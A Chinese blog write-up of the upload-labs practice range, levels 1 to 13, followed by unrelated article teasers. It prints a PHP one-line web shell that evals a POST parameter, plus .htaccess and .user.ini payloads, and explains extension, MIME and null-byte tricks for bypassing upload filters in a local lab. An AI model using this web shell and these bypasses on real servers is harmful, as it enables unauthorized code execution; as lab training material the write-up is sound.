《Upload-Labs》01. Pass 1~13

Upload-Labs

  • 索引
  • 前言
  • Pass-01
    • 题解
  • Pass-02
    • 题解
    • 总结
  • Pass-03
    • 题解
    • 总结
  • Pass-04
    • 题解
  • Pass-05
    • 题解
    • 总结
  • Pass-06
    • 题解
    • 总结
  • Pass-07
    • 题解
    • 总结
  • Pass-08
    • 题解
    • 总结
  • Pass-09
    • 题解
  • Pass-10
    • 题解
  • Pass-11
    • 题解
  • Pass-12
    • 题解
    • 总结
  • Pass-13
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/c0ny1/upload-labs

部分题目可能需要白盒审计。

索引

  • Pass-01:前端绕过。
  • Pass-02:MIME-Type 绕过。
  • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
  • Pass-04:.htaccess 利用。
  • Pass-05:.user.ini 利用。
  • Pass-06:黑名单绕过之大小写绕过。
  • Pass-07:黑名单绕过之空格绕过。
  • Pass-08:黑名单绕过之点【.】绕过。
  • Pass-09:黑名单绕过之 ::$DATA 绕过。
  • Pass-10:黑名单绕过之点空格点绕过。
  • Pass-11:黑名单绕过之双写绕过。
  • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
  • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

前言

编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

<?php echo 'Hello!';@eval($_POST['hello']);
?>

请添加图片描述

相关文章:

《一句话木马@eval($_POST[“cmd“]);是什么意思》
https://blog.csdn.net/qq_62708558/article/details/123030828

Pass-01

题解

任何前端验证都是纸老虎。

上传时使用 burp 拦截,并将文件后缀修改回 .php

在这里插入图片描述

上传成功,右键查看文件地址。

在这里插入图片描述

木马已成功执行。

在这里插入图片描述

尝试蚁剑连接,成功。

在这里插入图片描述

Pass-02

题解

上传文件并进行后缀与 Content-Type 绕过。

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

MIME-Type,资源媒体类型。

MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

  • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
  • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
  • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
    • 例如:Content-Type: text/html
  • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

常见的 MIME 类型

  • 超文本标记语言文本(.html、.htm):
    text/html
  • 普通文本(.txt):
    text/plain
  • RTF 文本(.rtf):
    application/rtf
  • GIF 图形(.gif):
    image/gif
  • JPEG 图形(.jpeg、.jpg):
    image/jpeg
  • au 声音文件(.au):
    audio/basic
  • MIDI 音乐文件(.mid、.midi):
    audio/midi, audio/x-midi
  • RealAudio音乐文件(.ra、.ram):
    audio/x-pn-realaudio
  • MPEG 文件(.mpg, .mpeg):
    video/mpeg
  • AVI 文件(.avi):
    video/x-msvideo
  • GZIP 文件(.gz):
    application/x-gzip
  • TAR 文件(.tar):
    application/x-tar

Pass-03

题解

之前的方法均失败。不过仍然是黑名单过滤。

由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

上传成功但无法访问。

在这里插入图片描述

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

.php::$D::$DATAATA

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

Pass-04

题解

这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

创建一个 .htaccess 文件并写入以下内容。

<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>

先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

但是失败了。可能实现条件比较苛刻。

这里附上几篇参考文章:

《文件上传-uploadlab通关手册》
https://blog.csdn.net/qq_51153463/article/details/124547943

《upload-labs通关总结|那些年踩过的坑》
https://blog.csdn.net/m0_56691564/article/details/127614557

Pass-05

题解

已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

先上传如下 .user.ini 文件。

auto_prepend_file=520.jpg

在这里插入图片描述

再上传木马,之后访问 readme.php 文件即可。

在这里插入图片描述

总结

参考文章:

《【文件上传漏洞】user.ini留后门》
https://blog.csdn.net/weixin_53146913/article/details/124840296

《文件上传:.user.ini的妙用》
https://blog.csdn.net/weixin_52635170/article/details/126962920

Pass-06

题解

上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

在这里插入图片描述

之后复制链接访问即可。

总结

对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

Pass-07

题解

使用空格绕过。

抓包修改后缀名,在文件名最后加上一个空格。

在这里插入图片描述

之后访问即可。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-08

题解

使用点绕过。在文件名最后加上一个点。

在这里插入图片描述

上传成功。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-09

题解

原理与 Pass-03 相同,::$DATA 绕过。

在这里插入图片描述

Pass-10

题解

点空格点绕过(利用验证规则不完善)。

在这里插入图片描述

Pass-11

题解

双写绕过。

在这里插入图片描述

服务端对不合法的后缀名进行替换为空是常用手段。

Pass-12

题解

这题通过代码审计可以发现发现 $img_path 变量可控。

使用 %00 截断,让后面的代码不执行。

在这里插入图片描述

在这里插入图片描述

总结

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13

题解

与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

在这里插入图片描述

在这里插入图片描述


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

——《刘子》(北齐)刘子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/145458.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】队列和栈

大家中秋节快乐&#xff0c;玩了好几天没有学习&#xff0c;今天分享的是栈以及队列的相关知识&#xff0c;以及栈和队列相关的面试题 1.栈 1.1栈的概念及结构 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作…

嵌入式学习笔记(35)外部中断

6.9.1什么是外部中断 (1)内部中断就是指中断源来自于SoC内部&#xff08;一般是内部外设&#xff09;&#xff0c;譬如串口、定时器等部件产生的中断&#xff1b;外部中断是SoC外部的设备&#xff0c;通过外部中断对应的GPIO引脚产生的中断。 (2)按键在SoC中就使用了外部中断…

【CMU15-445 Part-14】Query Planning Optimization I

Part14-Query Planning & Optimization I SQL is Declarative&#xff0c;只告诉想要什么而不需要说怎么做。 IBM System R是第一个实现query optimizer查询优化器的系统 Heuristics / Rules 条件触发 静态规则&#xff0c;重写query来remove 低效或者愚蠢的东西&#xf…

No156.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

驱动开发:STM32F7控制AD5663模拟量输出

AD5663是ADI公司的一款DAC模块&#xff0c;用以实现两路模拟量信号输出。该芯片通过SPI通信来驱动。下面讲解使用STM32F7主控芯片来控制AD5663模拟量输出的流程。 配置STM32F7 SPI通信管脚 STM32CubeMX生成SPI驱动代码 /* SPI3 init function */ void MX_SPI3_Init(void) {/*…

阿里巴巴OceanBase介绍

前言 官网地址&#xff1a;https://www.oceanbase.com/ OceanBase是由蚂蚁集团完全自主研发的国产原生分布式数据库&#xff0c;始创于2010年。是全球唯一在 TPC-C 和 TPC-H 测试上都刷新了世界纪录的国产原生分布式数据库。 2010年&#xff0c;创始人阳振坤加入阿里巴巴&…

UE5屏幕适配

一、本程序设计发布在手机上&#xff0c;首先确定屏幕的设计分辨率&#xff0c;这里我们选择iphone6s&#xff0c;750x1334。 二、设置DPI Scale为1.0的比例&#xff0c;点击齿轮标志 因为我们这个程序是手机竖屏使用的&#xff0c;所以DPI Scale Rule选择Shortest Side&#…

博弈论中静态博弈经典场景案例

博弈论中静态博弈经典场景案例 1、齐威王田忌赛马 田忌赛马是中国家喻户晓的故事&#xff0c;故事讲述的是齐国大将田忌的谋士孙膑如何运用计谋帮助田忌在与齐威王赛马时以弱胜强的故事&#xff0c;这个故事其实本质也是一个博弈的过程。     齐威王要和田忌赛马&#xff…

【MySQL】数据类型(二)

文章目录 一. char字符串类型二. varchar字符串类型2.1 char和varchar比较 三. 日期和时间类型四. enum和set类型4.1 set的查询 结束语 一. char字符串类型 char (L) 固定长度字符串 L是可以存储的长度&#xff0c;单位是字符&#xff0c;最大长度是255 MySQL中的字符&#xff…

CocosCreator3.8研究笔记(二十三)CocosCreator 动画系统-动画编辑器相关功能面板说明

国庆假期&#xff0c;闲着没事&#xff0c;在家研究技术~ 上一篇&#xff0c;我们介绍了动画剪辑、动画组件以及基本的使用流程&#xff0c;感兴趣的朋友可以前往阅读&#xff1a; CocosCreator 动画系统-动画剪辑和动画组件介绍。 今天&#xff0c;主要介绍动画编辑器相关功能…

【图论C++】树的重心——教父POJ 3107(链式前向星的使用)

》》》算法竞赛 /*** file * author jUicE_g2R(qq:3406291309)————彬(bin-必应)* 一个某双流一大学通信与信息专业大二在读 * * brief 一直在竞赛算法学习的路上* * copyright 2023.9* COPYRIGHT 原创技术笔记&#xff1a;转载…

腾讯mini项目-【指标监控服务重构-会议记录】2023-07-21

2023-07-21 组长会议纪要 A组 文档学习差不多&#xff0c;还没掌握如何使用sdk进行上报venus启动服务的3个ToDo 添加什么错误处理 ErrHandler &#xff1a; fiber的错误处理&#xff0c;是运行过程Handler中的错误&#xff0c;在全局的ErrHandler&#xff0c;进行错误处理&am…

app专项测试:app弱网测试

背景 用户体验 APP使用过程中&#xff0c;弱网的高延迟和高丢包&#xff0c;在实时性要求非常高的场景&#xff0c;容易伤害用户体验 非正常情况下&#xff0c;Bug出现几率会增加 在解决日常支持需求中&#xff0c;经常出现一些用户反馈的Bug无法复现&#xff0c;有很大部分…

线性代数(七) 矩阵分析

前言 从性线变换我们得出&#xff0c;矩阵和函数是密不可分的。如何用函数的思维来分析矩阵。 矩阵的序列 通过这个定义我们就定义了矩阵序列的收敛性。 研究矩阵序列收敛性的常用方法&#xff0c;是用《常见向量范数和矩阵范数》来研究矩阵序列的极限。 长度是范数的一个特…

三翼鸟三周年:三次升级,全面引领

被誉为“竞争战略之父”的迈克尔波特&#xff0c;曾提出过“差异化竞争”的理念。 简单说&#xff0c;企业在“差异化竞争”中要做到三大法则&#xff1a; 人无我有、人有我优、人有我新。 在许多优秀企业的身上&#xff0c;都能看到差异化的影子&#xff0c;比如华为、海尔…

CentOS 7 安装 Docker 的详细步骤

文章目录 Docker简介1.更新2.安装必要的软件包3.添加Docker仓库4.安装5.安装后的一些常规设置及常用的命令5.1 启动 Docker5.2 Docker 在系统启动时自动运行5.3 运行一个 Hello World 镜像5.4 查看docker运行状态5.5 docker ps5.6 查看docker版本 6.安装种常见的错误错误1:yum-…

黑马程序员Docker快速入门到项目部署(学习笔记)

目录 一、Docker简介 二、安装Docker 2.1、卸载旧版 2.2、配置Docker的yum库 2.3、安装Docker 2.4、启动和校验 2.5、配置镜像加速 2.5.1、注册阿里云账号 2.5.2、开通镜像服务 2.5.3、配置镜像加速 三、快速入门 3.1、部署MYSQL 3.2、命令解读 四、Docker基础 …

【分布式云储存】Springboot微服务接入MinIO实现文件服务

文章目录 前言技术回顾准备工作申请accessKey\secretKey创建数据存储桶公共资源直接访问测试 接入springboot实现文件服务依赖引入配置文件MinIO配置MinIO工具类 OkHttpSSLSocketClient兼容ssl静态资源预览解决方案资源上传预览测试测试结果 前言 上篇博客我们介绍了分布式云存…

day06_循环

今日内容 零、 复习昨日 一、循环 二、流程控制关键词 零、 复习昨日 8个基本数据类型 变量的使用步骤 1)声明2)赋值3)使用 声明,数据类型 变量名 不一定非得是基本类型 int a; String s; Scanner scanner;赋值,只要符合类型(能默认转换)就能赋值 int a 1; double d 1; Scann…

【KingbaseES】银河麒麟V10 ARM64架构_安装人大金仓数据库KingbaseES_V8R6(CentOS8)

&#x1f341; 博主 "开着拖拉机回家"带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——&#x1f390;开着拖拉机回家_Linux,Java基础学习,大数据运维-CSDN博客 &#x1f390;✨&#x1f341; &#x1fa81;&#x1f341; 希望本文能够给您带来一定的…